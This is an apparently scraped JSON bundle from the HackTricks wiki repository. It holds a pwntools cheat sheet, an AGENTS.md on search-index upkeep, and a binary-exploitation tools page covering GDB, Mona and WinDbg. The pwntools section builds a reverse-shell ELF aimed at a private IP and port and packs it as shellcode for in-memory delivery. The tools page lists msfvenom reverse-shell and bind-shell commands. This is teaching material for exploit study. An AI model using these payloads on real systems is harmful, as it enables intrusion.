{"owner":"HackTricks-wiki","repo":"hacktricks","hasSkills":true,"totalSkillsCount":3,"totalTokensCount":7545,"categories":["anthropic-skill","root-instruction","plugin-manifest"],"hasMcp":false,"mcpConfig":null,"found":["src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md","AGENTS.md","src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md"],"skills":{"src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md":"# PwnTools\n\n{{#include ../../../banners/hacktricks-training.md}}\n\n```\npip3 install pwntools\n```\n\n## Pwn asm\n\nGet **opcodes** from line or file.\n\n```\npwn asm \"jmp esp\"\npwn asm -i \n```\n\n**Can select:**\n\n- output type (raw,hex,string,elf)\n- output file context (16,32,64,linux,windows...)\n- avoid bytes (new lines, null, a list)\n- select encoder debug shellcode using gdb run the output\n\n## **Pwn checksec**\n\nChecksec script\n\n```\npwn checksec \n```\n\n## Pwn constgrep\n\n## Pwn cyclic\n\nGet a pattern\n\n```\npwn cyclic 3000\npwn cyclic -l faad\n```\n\n**Can select:**\n\n- The used alphabet (lowercase chars by default)\n- Length of uniq pattern (default 4)\n- context (16,32,64,linux,windows...)\n- Take the offset (-l)\n\n## Pwn debug\n\nAttach GDB to a process\n\n```\npwn debug --exec /bin/bash\npwn debug --pid 1234\npwn debug --process bash\n```\n\n**Can select:**\n\n- By executable, by name or by pid context (16,32,64,linux,windows...)\n- gdbscript to execute\n- sysrootpath\n\n## Pwn disablenx\n\nDisable nx of a binary\n\n```\npwn disablenx \n```\n\n## Pwn disasm\n\nDisas hex opcodes\n\n```\npwn disasm ffe4\n```\n\n**Can select:**\n\n- context (16,32,64,linux,windows...)\n- base address\n- color(default)/no color\n\n## Pwn elfdiff\n\nPrint differences between 2 files\n\n```\npwn elfdiff \n```\n\n## Pwn hex\n\nGet hexadecimal representation\n\n```bash\npwn hex hola #Get hex of \"hola\" ascii\n```\n\n## Pwn phd\n\nGet hexdump\n\n```\npwn phd \n```\n\n**Can select:**\n\n- Number of bytes to show\n- Number of bytes per line highlight byte\n- Skip bytes at beginning\n\n## Pwn pwnstrip\n\n## Pwn scramble\n\n## Pwn shellcraft\n\nGet shellcodes\n\n```\npwn shellcraft -l #List shellcodes\npwn shellcraft -l amd #Shellcode with amd in the name\npwn shellcraft -f hex amd64.linux.sh #Create in C and run\npwn shellcraft -r amd64.linux.sh #Run to test. Get shell\npwn shellcraft -r amd64.linux.bindsh 9095 #Bind SH to port\n```\n\n**Can select:**\n\n- shellcode and arguments for the shellcode\n- Out file\n- output format\n- debug (attach dbg to shellcode)\n- before (debug trap before code)\n- after\n- avoid using opcodes (default: not null and new line)\n- Run the shellcode\n- Color/no color\n- list syscalls\n- list possible shellcodes\n- Generate ELF as a shared library\n\n## Pwn template\n\nGet a python template\n\n```\npwn template\n```\n\n**Can select:** host, port, user, pass, path and quiet\n\n## Pwn unhex\n\nFrom hex to string\n\n```\npwn unhex 686f6c61\n```\n\n## Pwn update\n\nTo update pwntools\n\n```\npwn update\n```\n\n## ELF → raw shellcode packaging (loader_append)\n\nPwntools' `loader_append` can append an ELF to loader shellcode that maps the embedded ELF and transfers execution to it. This is useful for controlled memory-loader research, but architecture, ABI, executable-memory policy, relocations, and target process constraints still apply.[[1]](#references)[[2]](#references)\n\nTypical pipeline (amd64 example)\n\n1) Build a static, position‑independent payload ELF (musl recommended for portability):\n\n```bash\nmusl-gcc -O3 -s -static -o exploit exploit.c \\\n -DREV_SHELL_IP=\"\\\"10.10.14.2\\\"\" -DREV_SHELL_PORT=\"\\\"4444\\\"\"\n```\n\n2) Convert ELF → shellcode with pwntools:\n\n```python\n# exp2sc.py\nfrom pwn import *\ncontext.clear(arch='amd64')\nelf = ELF('./exploit')\nsc = asm(shellcraft.loader_append(elf.data, arch='amd64'))\nopen('sc','wb').write(sc)\nprint(f\"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes\")\n```\n\n3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process.\n\nNotes\n- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.[[1]](#references)\n- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android.\n- Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX.\n\n## References\n\n- [1] [Pwntools documentation](https://docs.pwntools.com/en/stable/)\n- [2] [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)\n\n{{#include ../../../banners/hacktricks-training.md}}\n","AGENTS.md":"# AGENTS.md\n\nGuidance for future agents working in this repository.\n\n## Repository Context\n\nThis is the main HackTricks mdBook repository. The related cloud book lives at:\n\n`/Users/carlospolop/git/hacktricks-cloud`\n\nChanges to shared theme/search behavior often need to be applied in both repositories.\n\n## Search Index Loading Contract\n\nThe custom search UI lives in:\n\n`theme/ht_searcher.js`\n\nThere may also be a generated copy at:\n\n`book/theme/ht_searcher.js`\n\nIf production is deploying the already-built `book/` directory, update both copies or rebuild the\nbook before deployment.\n\nThe search index source policy is important and cost-sensitive:\n\n- On public hosts, load every language-specific and fallback candidate only from\n `HackTricks-wiki/hacktricks-searchindex`. Never fall back to the same-origin mdBook output;\n serving the large index from `hacktricks.wiki` in production is expensive.\n- On localhost, `.local`/`.internal` hosts, loopback, RFC1918, carrier-grade NAT, link-local, or\n private IPv6 addresses, load only the same-origin mdBook output so local/container deployments\n remain self-contained. For a non-English page, try the language-prefixed local path first (for\n example `/es/searchindex.js`) and use the root English index only as a fallback.\n\nFor this repo, the expected local fallback is:\n\n`/searchindex.js`\n\nOn private hosts, the cloud index is unavailable from this origin and must not trigger a remote\ndownload. On public hosts it should use the remote `searchindex-cloud-.js.gz` files.\n\n## Search Index Publishing\n\nThe workflows that publish encrypted compressed search indexes to\n`HackTricks-wiki/hacktricks-searchindex` are:\n\n- `.github/workflows/build_master.yml`\n- `.github/workflows/translate_all.yml`\n\nThe generated source file is `book/searchindex.js`. The published remote artifact names are:\n\n- `searchindex-v2-en.json.gz` (preferred compact index)\n- `searchindex-v2-.json.gz` (preferred compact index)\n- `searchindex-en.js.gz`\n- `searchindex-.js.gz`\n\nThe browser loader prefers the compact v2 artifact and keeps the `.js.gz` artifact as a legacy\nfallback. Both are XOR-encrypted gzip payloads using the key defined in `theme/ht_searcher.js`.\n\nThe loader must stay lazy: normal page navigation must not create the search worker or download an\nindex until the visitor opens or uses search. Remote compressed responses are persisted in Cache\nStorage for 24 hours per origin so subsequent pages can reuse them. Preserve the stale-cache\nfallback when refreshing an expired entry fails.\n\n## Build And Validation\n\nCommon local checks:\n\n- `node --check theme/ht_searcher.js`\n- `node --test scripts/test_search.js` (matching, ranking, UI, source policy, and cache regressions)\n- `HT_SEARCH_CORPUS=1 node --test scripts/test_search.js` (also checks both generated books when present)\n- `mdbook build`\n\nIf `mdbook build` fails, check:\n\n- `hacktricks-preprocessor-error.log`\n- `hacktricks-preprocessor.log`\n\n## Editing Notes\n\n- Prefer `rg` for searching.\n- Keep generated `book/` output out of commits unless explicitly requested. Search loader fixes are\n an exception when the already-built pages must be corrected immediately.\n- If changing shared theme behavior, compare and update the matching file in\n `/Users/carlospolop/git/hacktricks-cloud`.\n- Do not revert unrelated local changes.\n\n## Branch hygiene\n\n- **Use the configured default branch.** Check the repository setting; it may be `main`, `master`, or something else. Base ordinary work on it and merge approved changes back into it. Target release branches only when required. Respect reviews, checks, and branch protection.\n- **Create only needed branches.** Check `git status` and worktrees first. Use one short-lived branch per change, reuse it for revisions, and preserve others' work. Avoid speculative or duplicate branches.\n- **Clean up after a verified merge.** Confirm the changes landed, including after squash/rebase, and that no open PR or unmerged work needs the branch. Delete only your completed task's remote/local branch and worktree; prune stale refs. Never delete default, protected, shared, or unrelated branches.\n- **Leave a clean environment.** Check for leftover branches, worktrees, and uncommitted changes. Clean up safely or explain what must remain; never merge or delete when authorization or safety is uncertain.\n","src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md":"# Exploiting Tools\n\n{{#include ../../../banners/hacktricks-training.md}}\n\n## Metasploit\n\nMetasploit supplies cyclic-pattern helpers, opcode-search utilities, and `msfvenom` for generating payloads in formats suitable for exploit development.[[1]](#references)\n\n```bash\npattern_create.rb -l 3000 #Length\npattern_offset.rb -l 3000 -q 5f97d534 #Search offset\nnasm_shell.rb\nnasm> jmp esp #Get opcodes\nmsfelfscan -j esi /opt/fusion/bin/level01\n```\n\n### Shellcodes\n\n```bash\nmsfvenom -p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b \"\\x00\\x0a\\x0d\" -f c\n```\n\n## GDB\n\nGDB can start or attach to a process, control execution, inspect memory and registers, and modify program state while debugging.[[2]](#references)\n\n### Install\n\n```bash\napt-get install gdb\n```\n\n### Parameters\n\n```bash\n-q # Do not show the banner\n-x # Auto-execute GDB instructions from here\n-p # Attach to process\n```\n\n### Instructions\n\n```bash\nrun # Execute\nstart # Start and break in main\nn/next/ni # Execute next instruction (no inside)\ns/step/si # Execute next instruction\nc/continue # Continue until next breakpoint\np system # Find the address of the system function\nset $eip = 0x12345678 # Change value of $eip\nhelp # Get help\nquit # exit\n\n# Disassemble\ndisassemble main # Disassemble the function called main\ndisassemble 0x12345678 # Disassemble that address\nset disassembly-flavor intel # Use intel syntax\nset follow-fork-mode child/parent # Follow child/parent process\n\n# Breakpoints\nbr func # Add breakpoint to function\nbr *func+23\nbr *0x12345678\ndel # Delete that number of breakpoint\nwatch EXPRESSION # Break if the value changes\n\n# info\ninfo functions --> Information about functions\ninfo functions func --> Information about matching functions\ninfo registers --> Value of the registers\nbt # Backtrace Stack\nbt full # Detailed stack\nprint variable\nprint 0x87654321 - 0x12345678 # Calculate\n\n# x/examine\nexamine/ dir_mem/reg/puntero # Shows content of in where each entry is a \nx/o 0xDir_hex\nx/2x $eip # 2Words from EIP\nx/2x $eip -4 # $eip - 4\nx/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)\ni r eip # Value of $eip\nx/w pointer # Value of the pointer\nx/s pointer # String pointed by the pointer\nx/xw &pointer # Address where the pointer is located\nx/i $eip # Instructions of the EIP\n```\n\n### [GEF](https://github.com/hugsy/gef)\n\nYou can optionally use [this GEF fork](https://github.com/bata24/gef), which includes additional commands.\n\n```bash\nhelp memory # Get help on memory command\ncanary # Search for canary value in memory\nchecksec #Check protections\np system #Find system function address\nsearch-pattern \"/bin/sh\" #Search in the process memory\nvmmap #Get memory mappings\nxinfo # Shows page, size, perms, memory area and offset of the addr in the page\nmemory watch 0x784000 0x1000 byte # Add a persistent view of this memory\ngot #Check got table\nmemory watch $_got()+0x18 5 #Watch a part of the got table\n\n# Vulns detection\nformat-string-helper #Detect insecure format strings\nheap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap\n\n#Patterns\npattern create 200 #Generate length 200 pattern\npattern search \"avaaawaa\" #Search for the offset of that substring\npattern search $rsp #Search the offset given the content of $rsp\n\n#Shellcode\nshellcode search x86 #Search shellcodes\nshellcode get 61 #Download shellcode number 61\n\n#Dump memory to file\ndump binary memory /tmp/dump.bin 0x200000000 0x20000c350\n\n#Another way to get the offset of to the RIP\n1- Put a breakpoint after the function that overwrites RIP and send a pattern that reaches it\n2- ef➤ i f\nStack level 0, frame at 0x7fffffffddd0:\n rip = 0x400cd3; saved rip = 0x6261617762616176\n called by frame at 0x7fffffffddd8\n Arglist at 0x7fffffffdcf8, args:\n Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0\n Saved registers:\n rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8\ngef➤ pattern search 0x6261617762616176\n[+] Searching for '0x6261617762616176'\n[+] Found at offset 184 (little-endian search) likely\n```\n\n### Tricks\n\n#### GDB same addresses\n\nWhile debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:\n\n- `unset env LINES`\n- `unset env COLUMNS`\n- `set env _=` _Put the absolute path to the binary_\n- Exploit the binary using the same absolute route\n- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary\n\n#### Backtrace to find functions called\n\nIn a **statically linked binary**, all functions belong to the binary rather than external libraries. This can make it difficult to identify the call flow that eventually asks for user input.\\\nRun the binary with **GDB** until it asks for input, interrupt it with **Ctrl+C**, and use **`bt`** (**backtrace**) to see the active call chain:\n\n```\ngef➤ bt\n#0 0x00000000004498ae in ?? ()\n#1 0x0000000000400b90 in ?? ()\n#2 0x0000000000400c1d in ?? ()\n#3 0x00000000004011a9 in ?? ()\n#4 0x0000000000400a5a in ?? ()\n```\n\n### GDB server\n\n`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)\n\n## Ghidra\n\nGhidra's disassembler and decompiler expose stack-variable layouts that help calculate the distance from a vulnerable local buffer to saved frame data.[[3]](#references)\n\n### Find stack offset\n\n**Ghidra** is useful for finding a **buffer-overflow offset** from the positions of local variables. In the example below, an overflow beginning at `local_bc` has these relevant distances:\n\n- `0xac` bytes to `local_10`, if that variable is the stack canary.\n- `0xbc` bytes to the frame base and saved RBP in a conventional x86-64 frame.\n- `0xc4` bytes to the saved RIP: `0xbc` bytes to saved RBP plus its eight-byte (`0x08`) slot.\n\nConfirm the exact compiler-generated frame in the disassembly because frame-pointer omission or a different prologue changes this layout.\n\n![Ghidra stack layout used to calculate a buffer-overflow offset](<../../../images/image (1061).png>)\n\nFor scripted queries and analysis-database edits in an open IDA or Ghidra project, see the [local TCP bridge workflow](../../../reversing/reversing-tools-basic-methods/#scripted-ida-and-ghidra-analysis-with-a-local-tcp-bridge).\n\n## qtool\n\n```bash\nqltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog\n```\n\nGet every opcode executed in the program.\n\n## GCC\n\nThese compiler and linker options create deliberately unprotected lab binaries. Use them only in an isolated practice environment; GCC documents the compiler-side options in its option index.[[4]](#references)\n\n**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\\\n**-o** --> Output\\\n**-g** --> Save code (GDB will be able to see it)\\\n**echo 0 > /proc/sys/kernel/randomize_va_space** --> Disable ASLR on Linux\n\n**To compile a shellcode:**\\\n**nasm -f elf assembly.asm** --> return a \".o\"\\\n**ld assembly.o -o shellcodeout** --> Executable\n\n## Objdump\n\nGNU `objdump` displays object-file headers, symbols, relocations, section contents, and disassembly; the options below select those views.[[5]](#references)\n\n**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\\\n**-Mintel** --> **Intel** syntax\\\n**-t** --> **Symbols** table\\\n**-D** --> **Disassemble all** (address of static variable)\\\n**-s -j .dtors** --> dtors section\\\n**-s -j .got** --> got section\\\n-D -s -j .plt --> **plt** section **decompiled**\\\n**-TR** --> **Relocations**\\\n**objdump -t --dynamic-reloc ./exec | grep puts** --> Address of `puts` to modify in the GOT\\\n**objdump -D ./exec | grep \"VAR_NAME\"** --> Address or a static variable (those are stored in DATA section).\n\n## Core dumps\n\n1. Run `ulimit -c unlimited` before starting my program\n2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`\n3. sudo gdb --core=\\ --quiet\n\n## More\n\n**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\\\n**for i in \\`seq 0 20\\`; do ldd \\ | grep libc; done** --> Loop to observe how much the address changes\\\n**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of \"system\"\\\n**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of \"/bin/sh\"\n\n**strace executable** --> Functions called by the executable\\\n**rabin2 -i executable** --> Addresses of imported functions\n\n## WinDbg and WinDbgX user-mode launch and attach\n\nWhen reproducing a Windows heap corruption, first decide whether to **launch** the target under WinDbg or attach to an already running process. A debugger-created process can use different heap validation settings and allocation geometry from a normal run. In Corelan's x86 test, Classic WinDbg set `NtGlobalFlag` to `0x70` (tail, free, and parameter checks), while WinDbgX set `0x10` (tail check); an allocation gap changed from `0x5008` to `0x5018` under Classic. These are observed values, not portable offsets for an exploit. Check the target rather than assuming its heap matches a run outside the debugger.[[10]](#references)\n\nTo avoid WinDbg's default debug heap while still observing startup, pass `-hd` **and the executable together** when starting the debugger. Microsoft documents `-hd` for a debugger-created process.[[11]](#references)[[12]](#references)\n\nStarting WinDbg with `-hd` and later choosing **Open Executable** in the GUI did not suppress the automatically enabled flags in Corelan's test. Inspect the live PEB and global flags after the initial break. `-hd` does not hide the debugger itself: `BeingDebugged` can still be set, and persistent Image File Execution Options `GlobalFlag` settings can also affect new processes.[[10]](#references)\n\n```text\nwindbg.exe -hd C:\\path\\target.exe\nwindbgx.exe -hd C:\\path\\target.exe\n!gflag\n!peb\ndt nt!_PEB @$peb NtGlobalFlag\n```\n\nFor an already running target, `windbg.exe -p ` makes an **invasive attach** without retroactively enabling WinDbg's launch-time heap flags; it gives breakpoint and execution control but cannot observe initialization that already occurred.[[10]](#references)\n\nUse `windbg.exe -pv -p ` for a **noninvasive attach** when inspection without debug-port ownership is sufficient. It still suspends target threads to read state, but cannot run the target under debugger control, set breakpoints, or intercept exceptions.[[13]](#references)\n\nA debugger-created process stops at the loader's initial breakpoint before the executable's PE entry point; `bp @$exentry` then `bl` and `g` stop at that entry point without hard-coding an ASLR-dependent address. This is the PE entry point, not necessarily `main`.[[10]](#references)[[14]](#references) For event-driven logging and conditional breakpoints, see [WinDbg automation](../../../reversing/reversing-tools-basic-methods/windbg-automation.md). For allocation-selection work, see [Windows heap grooming](../../windows-userland-heap-grooming.md).\n\n```text\nbp @$exentry\nbl\ng\n```\n\n## **Immunity Debugger**\n\n```bash\n!mona modules #Get protections, look for all false except last one (Dll of SO)\n!mona find -s \"\\xff\\xe4\" -m name_unsecure.dll # Search for opcodes inside the DLL (JMP ESP)\n```\n\n## Mona v3 setup and searches\n\nFor current x86 or x64 Windows userland debugging, keep `mona.py` and `windbglib.py` together in one directory. Install PyKD and its `pykd-ext` bootstrapper for the Python interpreter used by WinDbg. Load the bootstrapper, **not** an old `pykd.pyd` from the debugger directory; then invoke Mona by full path or create an alias. The maintained setup and installer are in the [Mona v3 repository](https://github.com/corelan/mona3).[[8]](#references)[[9]](#references)\n\n```text\n!load pykd\n!py -3.9 C:\\Tools\\mona3\\mona.py\nas !mona !py -3.9 C:\\Tools\\mona3\\mona.py\n!mona config -set workingfolder C:\\logs\\%p\n```\n\nInstall `keystone-engine` into the **same Python architecture** used by PyKD. WinDbg cannot assemble arbitrary x64 mnemonics itself, so Mona's `asm` and `findwild` need Keystone for reliable x64 instruction searches; without it, Mona has only a limited instruction cache. On x86, Keystone is preferred when available. For a dual-architecture Python 3.9 setup, install it in both interpreters.[[8]](#references)[[9]](#references)\n\n```text\npy -3.9-32 -m pip install keystone-engine\npy -3.9-64 -m pip install keystone-engine\n!mona asm -s \"jmp eax\"\n```\n\n### Search scope and pointer constraints\n\nMost Mona pointer searches default to non-rebased, non-ASLR modules and executable pages; SEH searches also exclude SafeSEH modules. A blank result may therefore mean the relevant module or page was filtered, not that no gadget exists. `findwild` searches all executable pages, while `getiat` and `geteat` include all modules. Inspect the active criteria printed in the command output before widening a search.[[9]](#references)\n\nUse `-m` to restrict the search to a named module (also overriding the default module criteria), for example after leaking an ASLR module's base. Alternatively, `-cmp` matches a regular expression against a module's full path and `-cm` sets mitigation criteria such as `aslr`, `rebase`, `safeseh`, `nx`, and `cfg`. `-cpb` rejects measured bad bytes in pointer addresses, while `-x R` changes the default executable-page requirement to readable pages. An address found in an ASLR module still requires a valid runtime base; a readable non-executable page is not a code target when DEP applies. See [Windows SEH exploitation](../../stack-overflow/windows-seh-overflow.md) and [stack pivoting](../../stack-overflow/stack-pivoting.md) for the underlying techniques.[[9]](#references)\n\n```text\n!mona jmp -r esp -cpb '\\x00\\x0a\\x0d' # x86 register trampoline\n!mona jmp -r esp -m example.dll # include a selected module after a leak\n!mona rop -cm aslr=true,rebase=true # include mitigated modules deliberately\n!mona mod -cmp example # inspect matching module paths/mitigations\n```\n\n## Mona v3 debugger-context requests for crash triage\n\nMona v3's `!mona tellme` (alias `!mona ai`) packages a live WinDbg/WinDbgX snapshot into `tellme_request.md`. The command was added after the initial v3 release, so run `!mona up` if it is missing. It can submit that request to an AI engine, but the saved request is also useful without one. Use `-offline` explicitly when a default engine may be configured: otherwise Mona asks for confirmation and can send process memory, symbols, input files, and heap history to the provider. Inspect the text between `PROMPT BEGIN` and `PROMPT END` before sharing it. These outputs are hypotheses, not proof of exploitability.[[7]](#references)[[8]](#references)\n\n### Crash and function profiles\n\nFor a crash, `-q 1` collects registers, instruction and stack memory, module/page and heap metadata, the call stack, 32-bit SEH state, and silent `findmsp` cyclic-pattern results. If a register points into a pattern, Mona can add a first trampoline candidate from non-ASLR, non-rebased modules; `-cpb` filters pointer bytes using the target's *measured* bad characters. `-a` adds a heap or memory target, while `-l` can supply allocation/free evidence and `-p` the triggering input. The candidate still needs manual offset, permissions, mitigation, and path validation.[[7]](#references)\n\n```text\n!mona tellme -q 1 -offline -cpb '\\x00\\x0a\\x0d'\n!mona tellme -q 1 -a eax -l alloc.txt -p poc.py -offline\n```\n\nFor code comprehension, `-q 2` resolves the function containing the live EIP/RIP, gathers its disassembly and symbols where available, then follows direct calls and unconditional jumps. `-d` increases traversal depth; `-a` adds a different code address or symbol when the current PC is corrupted or another routine matters. Validate the resulting explanation against the actual branches and runtime state.[[7]](#references)\n\n```text\n!mona tellme -q 2 -a kernel32!CreateFileW -d 2 -offline\n```\n\n### Controlled heap-chunk reachability\n\nBreak where a chunk is known to be attacker-controlled, then use `-q 3 -c` with its address, register, or debugger expression. Mona records the owning chunk, a pointer-sized dump, and registers/stack slots pointing into it. Without `-t`, the request searches for chunk-derived write destinations or indirect dispatch sinks; with `-t`, it asks whether changing only chunk bytes can reach a specific code address. The context also follows direct calls/jumps **and caller return-resume paths**, so a sink after the current function returns is not silently ignored. For this profile `-d` also controls inspected caller frames (default 2, maximum 4); deeper snapshots can become too large for automated submission.[[7]](#references)\n\n```text\n!mona tellme -q 3 -c eax -offline\n!mona tellme -q 3 -c poi(esp+4) -t kernel32!VirtualProtect -d 2 -offline\n```\n\n### Reuse a reviewed request\n\nBuilt-in runs produce `ai.q1`, `ai.q2`, or `ai.q3` templates, but those files are overwritten and are **not** automatically used by the corresponding profile. Copy one, edit its instructions and `[variable]` placeholders, then load the copy with `-q 9 -f`. A custom file may put instructions before `Debugger request JSON:` and a `variables` object containing fields such as `[registers]`, `[pc_disasm]`, `[findmsp]`, and `[heapdynamics]`. An already completed request with no unresolved placeholders can also be reused without recollecting debugger context.[[7]](#references)\n\n```text\n!mona tellme -q 9 -f custom_ai.q1 -offline\n```\n\n## IDA\n\n### Debugging in remote linux\n\nIDA includes remote debugging servers for supported platforms. Copy `linux_server` or `linux_server64` to the Linux target and run it from the directory containing the program being debugged.[[6]](#references)\n\n```\n./linux_server64 -Ppass\n```\n\nThen configure **Debugger → Remote Linux debugger → Process options**:\n\n![IDA remote Linux debugger process options](<../../../images/image (858).png>)\n\n## References\n\n- [1] [Metasploit documentation - How to use `msfvenom`](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)\n- [2] [GNU GDB manual](https://sourceware.org/gdb/current/onlinedocs/gdb)\n- [3] [NSA - Ghidra Software Reverse Engineering Framework](https://github.com/NationalSecurityAgency/ghidra)\n- [4] [GCC option index](https://gcc.gnu.org/onlinedocs/gcc/Option-Index.html)\n- [5] [GNU Binutils - `objdump`](https://sourceware.org/binutils/docs/binutils/objdump.html)\n- [6] [Hex-Rays - Remote debugging with IDA](https://docs.hex-rays.com/user-guide/debugger/remote-debugging)\n- [7] [Corelan - Mona, tellme: AI-assisted analysis](https://corelan.be/index.php/2026/05/14/mona-tellme)\n- [8] [Corelan - Mona v3](https://github.com/corelan/mona3)\n- [9] [Corelan - Mona v3 Released](https://corelan.be/index.php/2026/05/01/mona-v3-released/)\n- [10] [Corelan - Debugging: WinDBG & WinDBGX Fundamentals](https://corelan.be/index.php/2026/03/23/debugging-windbg-windbgx-fundamentals)\n- [11] [Microsoft - Debugging a User-Mode Process Using WinDbg](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-a-user-mode-process-using-windbg)\n- [12] [Microsoft - WinDbg Command-Line Options](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-command-line-options)\n- [13] [Microsoft - Noninvasive Debugging (User Mode)](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/noninvasive-debugging--user-mode-)\n- [14] [Microsoft - Pseudo-Register Syntax](https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/pseudo-register-syntax)\n"},"files":{"src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md":"# PwnTools\n\n{{#include ../../../banners/hacktricks-training.md}}\n\n```\npip3 install pwntools\n```\n\n## Pwn asm\n\nGet **opcodes** from line or file.\n\n```\npwn asm \"jmp esp\"\npwn asm -i \n```\n\n**Can select:**\n\n- output type (raw,hex,string,elf)\n- output file context (16,32,64,linux,windows...)\n- avoid bytes (new lines, null, a list)\n- select encoder debug shellcode using gdb run the output\n\n## **Pwn checksec**\n\nChecksec script\n\n```\npwn checksec \n```\n\n## Pwn constgrep\n\n## Pwn cyclic\n\nGet a pattern\n\n```\npwn cyclic 3000\npwn cyclic -l faad\n```\n\n**Can select:**\n\n- The used alphabet (lowercase chars by default)\n- Length of uniq pattern (default 4)\n- context (16,32,64,linux,windows...)\n- Take the offset (-l)\n\n## Pwn debug\n\nAttach GDB to a process\n\n```\npwn debug --exec /bin/bash\npwn debug --pid 1234\npwn debug --process bash\n```\n\n**Can select:**\n\n- By executable, by name or by pid context (16,32,64,linux,windows...)\n- gdbscript to execute\n- sysrootpath\n\n## Pwn disablenx\n\nDisable nx of a binary\n\n```\npwn disablenx \n```\n\n## Pwn disasm\n\nDisas hex opcodes\n\n```\npwn disasm ffe4\n```\n\n**Can select:**\n\n- context (16,32,64,linux,windows...)\n- base address\n- color(default)/no color\n\n## Pwn elfdiff\n\nPrint differences between 2 files\n\n```\npwn elfdiff \n```\n\n## Pwn hex\n\nGet hexadecimal representation\n\n```bash\npwn hex hola #Get hex of \"hola\" ascii\n```\n\n## Pwn phd\n\nGet hexdump\n\n```\npwn phd \n```\n\n**Can select:**\n\n- Number of bytes to show\n- Number of bytes per line highlight byte\n- Skip bytes at beginning\n\n## Pwn pwnstrip\n\n## Pwn scramble\n\n## Pwn shellcraft\n\nGet shellcodes\n\n```\npwn shellcraft -l #List shellcodes\npwn shellcraft -l amd #Shellcode with amd in the name\npwn shellcraft -f hex amd64.linux.sh #Create in C and run\npwn shellcraft -r amd64.linux.sh #Run to test. Get shell\npwn shellcraft -r amd64.linux.bindsh 9095 #Bind SH to port\n```\n\n**Can select:**\n\n- shellcode and arguments for the shellcode\n- Out file\n- output format\n- debug (attach dbg to shellcode)\n- before (debug trap before code)\n- after\n- avoid using opcodes (default: not null and new line)\n- Run the shellcode\n- Color/no color\n- list syscalls\n- list possible shellcodes\n- Generate ELF as a shared library\n\n## Pwn template\n\nGet a python template\n\n```\npwn template\n```\n\n**Can select:** host, port, user, pass, path and quiet\n\n## Pwn unhex\n\nFrom hex to string\n\n```\npwn unhex 686f6c61\n```\n\n## Pwn update\n\nTo update pwntools\n\n```\npwn update\n```\n\n## ELF → raw shellcode packaging (loader_append)\n\nPwntools' `loader_append` can append an ELF to loader shellcode that maps the embedded ELF and transfers execution to it. This is useful for controlled memory-loader research, but architecture, ABI, executable-memory policy, relocations, and target process constraints still apply.[[1]](#references)[[2]](#references)\n\nTypical pipeline (amd64 example)\n\n1) Build a static, position‑independent payload ELF (musl recommended for portability):\n\n```bash\nmusl-gcc -O3 -s -static -o exploit exploit.c \\\n -DREV_SHELL_IP=\"\\\"10.10.14.2\\\"\" -DREV_SHELL_PORT=\"\\\"4444\\\"\"\n```\n\n2) Convert ELF → shellcode with pwntools:\n\n```python\n# exp2sc.py\nfrom pwn import *\ncontext.clear(arch='amd64')\nelf = ELF('./exploit')\nsc = asm(shellcraft.loader_append(elf.data, arch='amd64'))\nopen('sc','wb').write(sc)\nprint(f\"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes\")\n```\n\n3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process.\n\nNotes\n- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.[[1]](#references)\n- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android.\n- Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX.\n\n## References\n\n- [1] [Pwntools documentation](https://docs.pwntools.com/en/stable/)\n- [2] [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)\n\n{{#include ../../../banners/hacktricks-training.md}}\n","AGENTS.md":"# AGENTS.md\n\nGuidance for future agents working in this repository.\n\n## Repository Context\n\nThis is the main HackTricks mdBook repository. The related cloud book lives at:\n\n`/Users/carlospolop/git/hacktricks-cloud`\n\nChanges to shared theme/search behavior often need to be applied in both repositories.\n\n## Search Index Loading Contract\n\nThe custom search UI lives in:\n\n`theme/ht_searcher.js`\n\nThere may also be a generated copy at:\n\n`book/theme/ht_searcher.js`\n\nIf production is deploying the already-built `book/` directory, update both copies or rebuild the\nbook before deployment.\n\nThe search index source policy is important and cost-sensitive:\n\n- On public hosts, load every language-specific and fallback candidate only from\n `HackTricks-wiki/hacktricks-searchindex`. Never fall back to the same-origin mdBook output;\n serving the large index from 